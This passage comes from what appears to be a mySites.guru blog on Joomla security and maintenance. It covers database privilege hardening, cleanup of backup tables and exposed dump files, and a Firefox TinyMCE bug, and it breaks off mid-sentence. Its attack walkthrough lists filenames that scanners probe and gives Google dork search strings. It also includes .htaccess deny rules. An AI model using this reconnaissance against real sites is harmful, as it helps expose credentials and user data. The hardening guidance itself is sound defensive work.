DROP - remove tables (needed during extension uninstallation)
ALTER - modify table structure (needed during updates)
INDEX - create and drop indexes (needed during updates)

Some extensions also require:

CREATE TEMPORARY TABLES - for complex queries that use temp tables
LOCK TABLES - for backup extensions that need consistent snapshots

Ten privileges at most. Yet many hosting panels grant database users privileges they should never have:

FILE - read and write files on the server filesystem through SQL. An attacker with this privilege can read /etc/passwd, write a PHP backdoor to the webroot, or exfiltrate your configuration.php, all through SQL queries.
PROCESS - view all running queries from all users, including those containing passwords or sensitive data.
SUPER - bypass privilege restrictions, kill other users' queries, change global server settings.
GRANT OPTION - grant any privilege the user has to other users. An attacker can create new users with full access.
SHUTDOWN - shut down the MySQL server entirely.

If a SQL injection vulnerability is discovered in any Joomla extension on your site, the damage an attacker can do is directly proportional to the privileges your database user holds. With just the required set, they can read and modify data in your Joomla database. Bad, but recoverable. With FILE privilege, they can drop a backdoor on your filesystem. With SUPER, they can take over the database server. The Novarain Framework vulnerability (CVE-2026-21627) is a real-world example of exactly this: an unauthenticated SQL injection in a bundled Joomla component that gives attackers direct database access.

How to check and fix

To see what privileges your user currently has:

SHOW GRANTS FOR 'joomla_user'@'localhost';

If the output includes dangerous privileges, revoke them:

REVOKE FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN
  ON *.* FROM 'joomla_user'@'localhost';
FLUSH PRIVILEGES;

If the output shows GRANT ALL PRIVILEGES, your user has everything, including the dangerous ones. The cleanest fix is to create a new user with only the required privileges (using the command from the root user section) and update configuration.php to use it.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">On shared hosting, you may not be able to run REVOKE directly. Most hosting control panels (cPanel, Plesk, DirectAdmin) have a database user privilege editor in their interface. Look for your database section, find the user, and uncheck everything except SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, CREATE TEMPORARY TABLES, and LOCK TABLES.</p> </div>

The ALL PRIVILEGES trap

Many guides and StackOverflow answers casually recommend GRANT ALL PRIVILEGES when setting up a database user. It's the easy path where everything works and you never get a "permission denied" error. But ALL PRIVILEGES includes FILE, PROCESS, SUPER, and everything else. It's the second-worst option after using root directly.

If you see ALL PRIVILEGES in your grants output, treat it the same as any other over-privileged configuration: create a new user with explicit minimum privileges and switch to it.

Why Should You Remove Backup Tables from Your Joomla Database?

When you run the Joomla installer into a database that already contains tables (from a previous installation, for example), the installer offers to back up the existing tables by renaming them with a bak_ prefix. So jos_users becomes bak_jos_users, jos_content becomes bak_jos_content, and so on. Open phpMyAdmin on a long-running Joomla site and you might see dozens of these bak_ tables sitting alongside the live ones.

The problem is that nobody cleans them up afterward. The installer creates them, the site works fine, and the backup tables sit there indefinitely.

Tim Davis covers the cleanup process in detail: Remove BAK_ Backup Tables From Your Joomla Database. He walks through both automated and manual approaches to finding and removing these tables safely.

Why backup tables are a security risk

Backup tables contain historical copies of your data. Your jos_users table has your current user records with current (hopefully hashed) passwords. A backup table from two years ago has the user records from two years ago, potentially with weaker password hashes if you've upgraded your hashing algorithm since then. It might also contain accounts for users who have since been deleted.

If an attacker gains read access to your database through SQL injection, backup tables give them:

Historical user data - email addresses, usernames, and password hashes from previous periods
Old configuration data - API keys, SMTP credentials, or other sensitive settings stored in the database
Migration artifacts - data from a previous CMS or an earlier Joomla version that might contain information you thought was deleted

Beyond the security angle, backup tables consume disk space. On sites with large content tables or extensive user bases, backup tables can double or triple your database size. This slows down database operations, increases backup time, and on some hosts pushes you into a higher billing tier.

What mySites.guru checks

The snapshot connector runs SHOW TABLES on your database and looks for any table with a name starting with bak_. This is the prefix Joomla's installer creates when you install over an existing database and choose to back up the old tables. If any bak_ tables exist, the check fails.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see the full list of bak_ tables on that site. Click Fix This For Me and mySites.guru will drop all the backup tables remotely. No need to open phpMyAdmin or run SQL manually. Use the pivot view to see which sites across your portfolio have leftover backup tables.

Option 2: Fix manually

Open phpMyAdmin or your preferred database tool.
Confirm the tables flagged are actually backups and not tables created by a legitimate extension. Check the table structure: if it mirrors an existing core or extension table, it's almost certainly a backup.
Take a fresh database backup before deleting anything (yes, the irony is noted).
Drop the backup tables:

DROP TABLE bak_jos_users;
DROP TABLE bak_jos_content;
DROP TABLE bak_jos_extensions;

Verify the site works normally afterward.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">Don't delete tables you can't identify. Some extensions create tables with non-obvious names. If you're unsure whether a table belongs to an active extension, check the extension's documentation or search for the table name in the extension's source code before dropping it.</p> </div>

Preventing future backup table accumulation

Configure your backup extension (Akeeba Backup or similar) to store backups as files, not as additional database tables
After running database migrations, include table cleanup as part of your post-migration checklist
If you're manually duplicating tables before making changes, set a calendar reminder to remove them within a week
Run the mySites.guru snapshot periodically. Schedule it to run weekly or monthly, and it will catch new backup tables before they accumulate

Does Your Database Schema Match the Installed Joomla Version?

When Joomla updates between versions, it runs database migration scripts that add new tables, add columns to existing tables, change column types, and update indexes. If an update fails partway through, or if someone restores a database backup from an older version without re-running migrations, the database schema can end up out of sync with the installed Joomla code.

A schema mismatch can cause subtle bugs. Extension installs might fail silently. Admin pages might throw errors when trying to access columns that don't exist. In some cases, Joomla's built-in update process gets stuck because it thinks a migration already ran when it didn't.

What mySites.guru checks

The snapshot connector loads Joomla's com_installer Database model and compares the current schema version (stored in the #__schemas table) against the latest schema version available in Joomla's migration files. If the versions don't match, the check fails. On Joomla 4 and later, it also compares the com_admin extension version against the installed Joomla version to catch partial updates.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see the current vs expected schema version numbers and any schema errors. Click Fix This For Me and mySites.guru will run the missing migration scripts remotely. The pivot view shows you which sites across your portfolio have schema mismatches, so you can batch your fixes.

Option 2: Fix via Joomla's built-in tool

Joomla includes a built-in database repair tool. In the Joomla administrator:

Go to System > Maintenance > Database
Joomla will compare the expected schema against the actual database
Select any items marked as needing attention
Click Update Structure

If the built-in tool can't resolve the issue (rare, but it happens with heavily customized sites), you may need to manually apply the missing SQL from Joomla's migration files in administrator/components/com_admin/sql/updates/mysql/.

Always back up your database before running schema fixes.

Should You Enable Joomla's User Action Log Auto Purge?

Joomla's User Action Log component tracks administrator activity: who logged in, who changed what article, who installed which extension. It's a useful audit trail, but the log table grows over time. Without automatic purging, the #__action_logs table can grow to hundreds of thousands of rows on busy sites, slowing down database operations and backups.

What mySites.guru checks

The snapshot connector reads the logDeletePeriod parameter from the PLG_SYSTEM_ACTIONLOGS plugin in the #__extensions table. The check passes only if the value is exactly 30. If it's set to a different number, disabled, or not configured, the check fails and shows the current value (or "Days" if no value is set). This is a Joomla 3.9+ check only.

How to fix it

Option 1: Use mySites.guru (recommended)

Click the Investigate button to see the current purge setting. Click Fix This For Me and mySites.guru will set the value to 30 days remotely. Use the pivot view to see which sites across your portfolio need this configured.

Option 2: Fix via Joomla admin

In the Joomla administrator, go to System > Plugins
Search for "Action Log - User Actions"
Open the plugin settings
Set Days to delete log entries after to 30 (or whatever retention period you need)
Make sure the plugin is enabled

For sites where you need longer retention (compliance requirements, client audit trails), set a longer period. The point is to have some limit rather than letting the table grow without bounds.

A complete Joomla database security checklist

Here's the complete set of database integrity checks you should apply to every Joomla site you manage:

1. Table prefix

Is it something other than jos_?
Is it random and non-guessable?
Does it end with an underscore?

2. Database user

Is it a dedicated user (not root)?
Does it have a strong, unique password?
Is it restricted to connecting from localhost only?

3. Single database access (mySites.guru check)

Does the database user only have access to one database?
Is each site on the server using its own dedicated user?

4. Backup tables (mySites.guru check, Joomla only)

Are there leftover bak_ tables in the database?

5. Schema integrity (mySites.guru check, Joomla only)

Does the database schema version match the installed Joomla version?

6. Action log purge (mySites.guru check, Joomla 3.9+ only)

Is the User Action Log plugin configured to auto-purge at 30 days?

7. Privileges (manual check)

Are only the required privileges granted? (SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, and optionally CREATE TEMPORARY TABLES and LOCK TABLES)
Are dangerous privileges absent? (FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN)
Is ALL PRIVILEGES not being used?

8. Configuration protection (manual check)

Is configuration.php set to 444 (read-only) permissions?
Is the database password unique and not reused elsewhere?

Run the mySites.guru snapshot on your connected sites to check items 1-6 automatically. For items 7-8, you'll need to verify manually. For sites that fail multiple checks, prioritise fixing them in order: root user first (critical), then single-database access (critical), then table prefix (medium), then backup tables and schema (maintenance).

How Do You Check Multiple Sites at Once?

If you manage dozens or hundreds of Joomla sites, checking database security manually on each one would take forever. This is where mySites.guru's snapshot tool earns its keep.

Run a snapshot across all connected sites with a single click, or schedule them to run automatically on whatever cadence makes sense. The pivot view (shown above) lets you pick any single check and see every site's status on one screen, so you can focus your time on the sites that actually need attention.

The snapshot captures over 100 checks per site, and the database integrity checks covered in this post are just one category. You'll also get checks for security headers, file permissions, core file integrity, PHP configuration, dangerous leftover files, and much more. Combined with a full security audit that scans for hacked files and backdoors, you get a thorough picture of each site's security posture.

For each flagged issue, the tool links to a best practice explanation so your team members and clients understand why the recommendation matters, not just what to change.

What About WordPress Database Security?

The underlying risks are identical for WordPress. The default table prefix is wp_ instead of jos_, and the table names are different, but automated tools target wp_users and wp_options just as readily as they target jos_users and jos_extensions.

The mySites.guru snapshot runs three of the same database checks on WordPress sites: default wp_ prefix detection, root user warnings, and single-database access checks. WordPress also gets a Pending Database Migrations check (comparing the code's expected $wp_db_version against the stored db_version option) instead of the Joomla schema check. The backup tables and action log purge checks are Joomla-specific.

Note that WordPress database fix tools currently require manual action - the remote Fix This For Me buttons are available on Joomla sites only. If you manage both Joomla and WordPress sites from the mySites.guru dashboard, the snapshot will still flag the issues on WordPress so you know what needs attention.

Learn More: Basic Joomla Tutorials

If you prefer video walkthroughs, Tim Davis runs the Basic Joomla Tutorials YouTube channel with hundreds of Joomla maintenance and security videos. The three videos linked throughout this post cover the database topics in detail:

Don't Use the Default JOS_ Database Table Prefix in Joomla - why the default prefix is a target and how to change it
No Database Threesomes in Joomla - why each site needs its own database user with access to only one database
Remove BAK_ Backup Tables From Your Joomla Database - finding and safely removing orphaned backup tables

Tim's Maintenance Monday streams are a solid resource for anyone managing Joomla sites professionally.

Beyond the snapshot: defence in depth

Database security checks are one layer in a multi-layered security strategy. They complement other practices:

Keep Joomla and extensions updated. Most SQL injection vulnerabilities are in outdated extensions. Mass updates from the mySites.guru dashboard keep everything current with minimal effort.
Run regular security audits. The deep audit scans every file in your webspace against thousands of known malware patterns, and the AI-powered malware analysis can identify obfuscated threats that signature-based scanning misses.
Set up real-time alerts. File change and login monitoring catches suspicious activity the moment it happens, before an attacker has time to establish persistence.
Protect configuration files. Your configuration.php contains your database credentials in plain text. It should be readable only by the web server user, not writable, and not accessible from the web. The mySites.guru snapshot checks file permissions as part of its standard run, and the hidden files tool can surface configuration files that have been copied or backed up to accessible locations.
Use strong, unique passwords everywhere. The database password in configuration.php should be unique to that site. Password reuse across sites means a compromise on one site compromises them all.
Check your Joomla email config. A compromised site is often used to send spam. Verify your email configuration works so you'll notice if something changes.

Get Started

If you're already a mySites.guru subscriber, run a snapshot on your sites and check the Database Integrity section in the results. Fix whatever is flagged, starting with the most critical issues.

Not using mySites.guru yet? Start with a free audit to see what the tool finds on your site. It takes under two minutes to connect a site and run the first snapshot. You might be surprised at what's been sitting in your database configuration since the day the site was installed.

For agencies and freelancers managing client sites, the pricing plans scale with the number of connected sites. Every plan includes unlimited snapshots and audits across all your sites, database integrity checks included, no add-on required.

Joomla TinyMCE Editor Broken in Firefox 148 - How to Fix It

phil@mysites.guru (Phil Taylor) — Wed, 25 Mar 2026 00:00:00 GMT

<div class="not-prose my-6 rounded-lg border border-neutral-300 bg-neutral-100 p-4 dark:border-neutral-700 dark:bg-neutral-800"> <p class="m-0 text-sm text-neutral-700 dark:text-neutral-300"><strong>Update (March 31, 2026):</strong> Joomla 5.4.4 and 6.0.4 are out with the TinyMCE fix baked in, plus six security patches. Update to these versions instead of using the hotfix. <a href="#upgrade-all-your-joomla-sites-from-one-dashboard-with-mysitesguru" class="text-neutral-700 underline dark:text-neutral-300">Jump to update instructions</a>.</p> </div>

On February 26, 2026, Firefox 148 landed and immediately broke the TinyMCE editor in Joomla. Every version of Joomla that ships TinyMCE was affected: 4.4.x, 5.4.x, and 6.0.x. The editor flickers endlessly, reloading its iframe in an infinite loop. Content editing becomes impossible.

</div>

If you manage multiple Joomla sites and your content editors started reporting problems the same week, this is almost certainly the cause. Joomla 5.4.4 and 6.0.4 were released on March 31, 2026 with this fix included, along with six security patches. Updating to these versions is now the recommended solution. Hotfix packages for 5.4.3 and 6.0.3 are also still available from downloads.joomla.org if you cannot update immediately.

What went wrong with Joomla's TinyMCE?

Firefox 148 removed a deprecated API called MouseEvent.mozInputSource. This was a Mozilla-specific property that let JavaScript distinguish between mouse clicks from different input devices (physical mouse, touch screen, pen). Mozilla marked it as deprecated years ago and finally removed it in Firefox 148.

TinyMCE's initialization code relied on this property. During editor setup, TinyMCE checks whether the iframe containing the editor has finished loading. The code path that performed this check interacted with mozInputSource in a way that, once the property was removed, caused the iframe to never reach a completed state. TinyMCE would detect the iframe as incomplete, tear it down, and reinitialize, over and over.

The result: the editor loads its stylesheets repeatedly, the content area flickers, and you cannot type or interact with anything.

Which browsers and platforms are affected?

The bug is specific to Firefox:

Firefox 148 on macOS (both Apple Silicon and Intel), Windows 11, and Ubuntu 24.04
Firefox Developer Edition 149.0b1 (also affected, confirming this is a permanent API removal)
Chrome, Safari, Edge: Unaffected. These browsers never implemented mozInputSource.

This means the issue only hits users and content editors who use Firefox. If your agency standardizes on Chrome, you might not have noticed. But if even one of your clients or their editors uses Firefox, their editing workflow broke overnight with no warning.

Which Joomla versions are affected?

Every version of Joomla that includes TinyMCE as the default editor:

Joomla 4.4.x (confirmed on 4.4.14)
Joomla 5.4.x (confirmed on 5.4.3)
Joomla 6.0.x (confirmed on 6.0.3)

The bug is in TinyMCE's JavaScript, not in Joomla's PHP code. Any Joomla installation using the bundled TinyMCE editor is affected regardless of template, extensions, or server configuration.

What is the upstream TinyMCE issue?

The root cause sits in TinyMCE itself, tracked as GitHub issue #10947 on the TinyMCE repository. The fix required TinyMCE to switch from the removed MouseEvent.mozInputSource to the standard PointerEvent.pointerType API, which provides the same input-device detection using a cross-browser standard.

Joomla's fix, tracked as PR #46889, patches the TinyMCE initialization script bundled with Joomla. The fix modifies a single file: build/media_source/plg_editors_tinymce/js/tinymce.es6.js.

How did Joomla respond?

The Joomla project handled this well. The issue was flagged on February 26, the same day Firefox 148 shipped. The fix was already merged into the development branches before the report was even filed, because the Joomla team had caught it during Firefox Developer Edition testing.

The Joomla Magazine published a detailed post-mortem titled "How we decided not to panic", walking through the team's decision process for handling the incident. Rather than rushing out emergency point releases, they chose to ship hotfix packages that site owners could install through Extension Manager while preparing proper releases on the normal timeline.

Credit where it's due - the Joomla team got the response right on this one.

How do you fix the Joomla TinyMCE issue?

Upgrade all your Joomla sites from one dashboard with mySites.guru

Joomla 5.4.4 and 6.0.4 shipped on March 31, 2026 with the TinyMCE fix included permanently, plus six security patches covering SQL injection, XSS, arbitrary file deletion, and access control issues. Update to these versions if you haven't already.

If you manage multiple Joomla sites, the mySites.guru Mass Upgrade tool is the fastest way to get every site patched. Filter your dashboard by Joomla version to find sites still on 5.4.3 or 6.0.3, select them all, and hit upgrade. Every site updates in one operation - no logging into individual admin panels, no downloading packages manually.

mySites.guru tracks Joomla core versions and extension versions across every connected site, so you can see at a glance which sites still need the update. The Mass Upgrade tool works for any Joomla point release, not just this one - whenever a security update drops, you can push it across your entire portfolio from one screen.

Fixing a single site manually

If you only manage one site, or don't have a mySites.guru account yet, update through your Joomla admin panel:

Go to System > Joomla Update in your admin
You should see Joomla 5.4.4 or 6.0.4 available
Click Install the Update
Clear your browser cache and reload the article editor

Still on the hotfix? Time to update

If you applied the TinyMCE hotfix package for Joomla 5.4.3 or 6.0.3 earlier, updating to 5.4.4 / 6.0.4 supersedes it. The hotfix only patched TinyMCE's JavaScript - the full release includes that same fix plus six security patches you need anyway. Use the Mass Package Installer or the Mass Upgrade tool to get all sites current.

Switch editors temporarily

Changing the default editor to CodeMirror or JCE avoids the problem entirely. Go to System > Global Configuration > Default Editor. This is a workaround, not a fix, and should be reversed once you update to 5.4.4 / 6.0.4.

What does this incident teach us?

Browser vendors remove deprecated APIs on their own schedule. They do not coordinate with every CMS and JavaScript library that might depend on those APIs. Mozilla deprecated mozInputSource years ago, but the actual removal still caught TinyMCE (and by extension, every CMS that bundles it) off guard.

This is not unique to Joomla. The Astroid Framework vulnerability showed the same pattern: a third-party component breaks, and agencies need to identify affected sites and deploy a fix across their entire portfolio fast. The only defense is staying current with updates and having a process to roll out fixes quickly.

For agencies managing client sites, incidents like this are exactly why building a morning check routine matters. A quick scan of your dashboard catches problems before your clients call you about them.

How to Clean Up Dangerous Files Left on Your Joomla Web Server

phil@mysites.guru (Phil Taylor) — Tue, 24 Mar 2026 00:00:00 GMT

You finished the migration. You ran the backup. You exported the database so you could import it on the staging server. And then you moved on to the next task, because there are always more tasks.

Those files are still sitting on your server. The ZIP archive of the old site. The SQL dump with every user's email address and hashed password. The PHP error log that's been growing for three years, recording every database connection string and file path on your server.

Nobody remembers they're there. But anyone with a browser can download them.

This is one of the most common and most overlooked security problems on Joomla sites. Not a code vulnerability or a zero-day exploit - just files that should never have been left in a publicly accessible directory, forgotten and exposed to anyone who knows where to look.

How Does mySites.guru Find These Files?

When you run a security audit on any site connected to mySites.guru, the audit engine scans every file in your webspace and classifies them. Several audit tools specifically target dangerous file types:

</div>

Archive Files Tool

The archive files tool counts every archive file on your site: ZIP, TAR, TAR.GZ, GZ, RAR, JPA, JPS, and other compressed formats. The audit result shows a count with a colour-coded badge:

Green - no archive files found
Yellow/Red - archive files detected, investigation recommended

Click through to see the full list with file paths, sizes, and modification dates. This is where you'll spot the migration archive from two years ago, the Akeeba backup someone forgot to delete, or the mystery ZIP file in /tmp/ that you've never seen before. Some ZIP files are legitimate - if your site offers downloadable resources, those archives are intentional and should stay. The tool helps you distinguish between files you put there on purpose and ones that were left behind by accident.

</div>

SQL Dump Files Tool

SQL dumps get their own dedicated tool because of the severity of the data they expose. Any file with a .sql extension (or .sql.gz, .sql.zip) is flagged and listed. Not every .sql file is a database dump. Joomla itself ships with hundreds of .sql files in its core - schema creation scripts, migration scripts, and upgrade queries used during installation and updates. Extensions and WordPress plugins include them too. Those are normal and expected. But a file called backup-2024-03.sql or joomla_db.sql.gz in your site root is a different story entirely, and the tool makes it easy to tell the difference by showing file paths, sizes, and modification dates.

PHP Error Logs Tool

The error log tool finds PHP error log files throughout your webspace. These often have predictable names (error_log, php_errorlog, php_errors.log) but the tool catches them regardless of naming because it identifies them by content pattern, not just filename.

Large Files Tool

Files over 2MB are flagged separately. This catches oversized error logs that have grown unchecked, large backup archives, database dumps, and other files that shouldn't typically exist in a web application's directory structure. A 400MB file in your webspace is almost never legitimate application code. It's a backup, a log, or something that doesn't belong there.

Running This Across All Your Sites

If you manage multiple Joomla sites, checking each one manually would take hours. With mySites.guru, every scheduled audit automatically scans all your connected sites for these file types.

You can also pivot on any audit tool to see every site's result for that specific check on a single page. Click "Locate And Review Any SQL Files" and you'll see which of your 500+ sites have SQL dumps sitting in their webspace, with an Investigate button to drill straight into the details.

</div>

The dashboard view makes patterns obvious. If one site has archive files and the rest don't, that's a one-off cleanup task. If half your sites have PHP error logs, you've got a systemic configuration issue worth addressing at the hosting level.

What Files Did You Forget About?

These are the file types that mySites.guru flags as dangerous, and why each one matters.

Archive Files (ZIP, TAR.GZ, RAR, JPA)

Archive files are the most common offender. They end up on web servers for all sorts of legitimate reasons (site migrations, manual backups, extension installations, staging environment setup) and then they just stay there.

The problem is simple: any file in your document root is accessible via HTTP. If you have a file called backup-2024-11-15.zip in your site root, anyone can download it by visiting https://yoursite.com/backup-2024-11-15.zip. No authentication required. No special access needed. Just a direct URL to a file that probably contains your entire site, including configuration.php with your database password, your SMTP credentials, and every secret your Joomla installation knows about.

This is not theoretical. The OWASP Web Security Testing Guide specifically lists backup archives as a test case for penetration testers because they're found on production servers so frequently. Automated scanners probe for common backup filenames as part of their standard reconnaissance. Files like site.zip, backup.tar.gz, joomla.zip, database.sql.gz, and variations with dates are checked routinely.

Akeeba Backup users face an additional risk. By default, Akeeba stores its backup archives in /administrator/components/com_akeeba/backup/. The directory is protected by a .htaccess file on Apache servers, but that protection doesn't exist on Nginx or LiteSpeed unless you've configured it manually. And even on Apache, a misconfigured .htaccess or a server migration that dropped the file means those archives (your entire site in a single downloadable package) are exposed. This is precisely why Akeeba's own documentation tells you to download the backup and delete it from the server. Most people skip that second step.

The same applies to any backup tool. If your backup workflow leaves archive files on the server, you're carrying risk for as long as those files exist.

SQL Database Dumps

SQL dump files are arguably worse than archives, because they're plain text. (For a deeper look at securing the database itself, including user privileges, table prefixes, and backup table cleanup, see our Joomla database security guide.) No decompression needed. An attacker who downloads your .sql file can open it in any text editor and immediately see:

Every user account in your Joomla installation, including usernames, email addresses, and password hashes
Administrator credentials - if your admin password hash is weak, it can be cracked offline in minutes
Email addresses for newsletter subscribers, contact form submissions, and registered users
Unpublished articles, draft pages, and configuration data stored in extension tables
Table names, column names, and relationships that reveal exactly what extensions you run and how your site is built

SQL dumps end up on servers for the same reasons archives do. You exported the database for a migration. You ran mysqldump from the command line to create a quick backup before an upgrade. You downloaded a copy to work on locally and forgot to delete it from the server. Your hosting panel's backup tool dropped a .sql file into your home directory and you never noticed.

A file called joomla_db.sql or database-backup.sql sitting in your document root is a data breach waiting for someone to request the URL.

PHP Error Logs

PHP error logs are the silent information leak that almost nobody thinks about. When PHP encounters an error (a deprecated function call, a failed database connection, an undefined variable) it writes the details to a log file. On many shared hosting configurations, that log file lives right in your webspace, often named error_log or php_errorlog, sitting in whatever directory the error occurred in.

Over time, these logs accumulate a significant amount of sensitive information:

Full server file paths, revealing your hosting account structure, username, and directory layout
Database connection errors that log the hostname, username, and sometimes the password used in the connection attempt
API keys and tokens, if an API call fails and the key was passed as a function parameter
Extension names and versions from deprecation warnings and compatibility errors
Stack traces that reveal how your code works internally

The PHP documentation explains how error_log and log_errors control where these files are written. The default behavior on most shared hosting is to write errors to a file in the current directory, which means you can end up with error_log files scattered throughout your webspace: one in your site root, one in /administrator/, one in /components/com_whatever/, and so on. Each one is publicly downloadable unless your server is configured to block access.

A PHP error log might not sound as dramatic as a database dump, but it gives an attacker exactly the intelligence they need to plan a targeted attack against your specific server configuration.

Old Backup Files and Renamed Originals

Then there are the ad-hoc backup files that developers create during troubleshooting. You've done this. Everyone has. You rename configuration.php to configuration.php.bak before editing it, just in case. You copy index.php to index.php.old before making changes. You duplicate .htaccess as .htaccess.backup before modifying redirect rules.

Your web server knows that configuration.php is a PHP file and executes it server-side, so its contents are never exposed to browsers. But configuration.php.bak? That's not a PHP file. The server treats it as plain text and serves it directly. Anyone who requests https://yoursite.com/configuration.php.bak gets to read your database password, your FTP credentials, your secret salt, your SMTP password - everything in that file, rendered as plain text in their browser.

This applies to any file that's been renamed with an extension the server doesn't process:

configuration.php.bak
configuration.php.old
configuration.php.save
configuration.php~ (Vim backup files)
wp-config.php.bak (on WordPress sites you also manage)
.htaccess.backup

These renamed files are trivially easy to find. Automated scanners check for common backup extensions on known filenames as part of every standard scan. If you've ever created one and forgotten to delete it, it's been discoverable by anyone running basic recon against your server.

Why Do These Files Exist in the First Place?

Nobody puts a database dump on a production server and thinks "this is a great idea." These files accumulate through perfectly reasonable workflows that just happen to leave dangerous artifacts behind.

Migrations are the biggest culprit. Moving a Joomla site from one server to another typically involves creating an archive of the files, exporting the database, uploading both to the new server, and importing. The import is done, the site works, everyone moves on, and the archive and SQL dump sit on the new server indefinitely.

Manual backups before upgrades are another common source. Before running a major Joomla update, a cautious admin might create a quick database dump or file archive, just in case the update goes wrong. The update works fine, and the backup becomes invisible clutter. Over time, these accumulate. We've seen sites with a dozen old backup archives spanning years of updates, each one a complete snapshot of the site at that point in time, including whatever vulnerabilities existed then.

Development and staging workflows leave artifacts too. Developers working directly on production (it happens, even when we all know it shouldn't) create temp files, SQL dumps for testing, archive packages for deployment. Files with names like test.sql, staging-dump.sql.gz, old-site.tar.gz, or site-before-redesign.zip are surprisingly common.

Hosting control panels sometimes contribute by storing backups in subdirectories of your document root. cPanel, Plesk, and DirectAdmin all have backup tools that can create archives in locations that are web-accessible. If the panel's default backup directory overlaps with your document root, those backups are publicly downloadable.

PHP error logs grow silently because they're a byproduct of normal operation. Every time a visitor triggers a PHP error (a missing image in a template, a deprecated function in an old extension, a database timeout during heavy traffic) the log file gets another entry. Nobody notices until the file is 500MB and eating into disk space.

What Does a Real-World Attack Look Like?

Here's how an attacker actually exploits these files.

Step 1: Discovery. The attacker runs a scanner against your domain. The scanner tries common filenames (backup.zip, site.zip, database.sql, db.sql, error_log, dump.sql, configuration.php.bak) and checks the HTTP response code. A 200 means the file exists and is downloadable. A 403 means it exists but access is denied (still useful intelligence). A 404 means it's not there. This takes seconds.

If your server has directory listing enabled (Apache's mod_autoindex with Options +Indexes), the attacker doesn't even need to guess filenames. They can browse your directories like a file manager and see everything. The mySites.guru audit checks for this too, and directory listing should always be disabled on production servers.

Google dorking (using search operators like inurl:backup.sql or filetype:sql inurl:wp-content) used to be another common discovery method. Google has been restricting these queries in 2025 and 2026, filtering out more sensitive results and returning fewer "interesting" matches. That's a welcome change, but it only reduces one discovery vector. Direct filename scanning against your server doesn't depend on Google at all, and that's still the primary way attackers find these files.

Step 2: Extraction. The attacker downloads whatever they found. A SQL dump gives them your user table immediately. An archive file gives them everything: they extract it locally and start reading your configuration.php. A PHP error log gives them file paths, extension names, and server details that inform the next phase of the attack.

Step 3: Exploitation. With database credentials from configuration.php, the attacker connects directly to your database if the MySQL port is exposed (or if they're on the same shared hosting server). With admin password hashes from the SQL dump, they run an offline cracking tool and weak passwords fall in seconds. With knowledge of your exact extension versions from error logs, they search for known vulnerabilities in those specific versions.

Step 4: Access. The attacker logs in as an administrator using cracked credentials, or accesses the database directly, or exploits a vulnerability they identified from the intelligence gathered. At this point your site is compromised, and the initial point of entry wasn't a bug in your code. It was a file you forgot to delete.

This entire chain can happen within minutes. There's no "hacking" in the Hollywood sense. It's just downloading files that shouldn't be publicly accessible and reading what's inside them.

What Should You Do When You Find These Files?

Finding dangerous files is only useful if you actually deal with them. Here's the priority order:

1. SQL Dumps - Delete Immediately

There is no reason for a SQL dump file to exist in your webspace. None. If you need database backups (and you do), they should be stored offsite: on a local machine, in cloud storage, or through a backup service that stores backups outside your document root. Delete every .sql file from your webspace right now.

If the SQL dump was downloadable and you don't know for how long, assume the data has been compromised. Change your database password. Change your Joomla admin passwords. If the dump contained user data, you may have notification obligations depending on your jurisdiction.

2. Archive Files - Delete or Move

Archive files belong in offsite storage, not in your webspace. Download them to your local machine first if you need them, then delete them from the server.

If you must keep an archive on the server temporarily (during an active migration, for example), move it above the document root where it's not web-accessible. On most hosting setups, your document root is something like /home/username/public_html/. Files placed in /home/username/ (one level up) are not accessible via HTTP.

If that's not possible, create a .htaccess file in the directory containing the archive:

<FilesMatch "\.(zip|tar|gz|rar|jpa|jps|sql)$">
  Require all denied
</FilesMatch>

This blocks HTTP access to those file types in that directory. But this is a band-aid - the files should still be moved offsite and deleted as soon as possible.

3. PHP Error Logs - Delete and Reconfigure

Delete all error_log files from your webspace. Then fix the configuration so they don't come back.

In your php.ini or .user.ini, set the error log path to a location outside your document root:

log_errors = On
error_log = /home/username/logs/php_errors.log

If you're on shared hosting and can't modify php.ini, add this to your .htaccess:

php_value error_log /home/username/logs/php_errors.log

The key is to keep logging enabled (you need error logs for debugging) but write them somewhere that isn't publicly accessible. If your host doesn't allow you to specify a custom log path, at minimum add a .htaccess rule to block direct access to error log files:

<FilesMatch "^(error_log|php_errorlog|php_errors\.log)$">
  Require all denied
</FilesMatch>

4. Backup/Renamed Files - Delete

Files like configuration.php.bak, configuration.php.old, .htaccess.backup, and similar renamed copies should be deleted immediately. They contain sensitive configuration data in a format that the server will serve as plain text.

If you need to keep backup copies of configuration files, store them outside the document root or on your local machine. Never keep them in the webspace with a non-PHP extension.

5. Verify After Cleanup

After deleting the files, run another audit to confirm they're gone. This sounds obvious, but we've seen cases where file permissions prevented deletion via FTP, or where a cron job recreated the files minutes after they were removed. The follow-up audit confirms the cleanup actually worked.

Also check that your hidden files are clean - attackers sometimes use dot-prefixed filenames to hide backup files and SQL dumps in plain sight.

How Do You Prevent These Files From Accumulating?

Cleaning up once is necessary. Preventing the problem from recurring is better.

Use Offsite Backups

Stop creating backups that live on the same server as your site. Use a backup tool that stores archives offsite, whether that's cloud storage, a remote server, or a local machine. mySites.guru's backup feature stores backups outside your webspace, so there's never an archive file sitting in a publicly accessible directory.

If you use Akeeba Backup, configure it to use a remote storage profile (Amazon S3, Dropbox, Google Drive, or any other supported backend) and enable the option to delete the local archive after successful transfer.

Create a Post-Migration Checklist

Every time you migrate a site, the final step should be deleting the migration artifacts from the destination server. The archive file, the SQL dump, any temporary files created during the import - all of it. Make this part of the process, not an afterthought.

Configure PHP Error Logging Properly

Set up your PHP error log path once, correctly, and this problem goes away permanently. Point errors to a log file outside your document root and set up log rotation so the file doesn't grow indefinitely.

Schedule Regular Audits

The best defense against forgotten files is regular, automated scanning. Schedule your mySites.guru audits to run weekly or monthly, and review the results. Files that shouldn't be there will be flagged before they become a problem.

Block Dangerous Extensions at the Server Level

Add a server-wide rule to block downloads of common dangerous file types. In your root .htaccess:

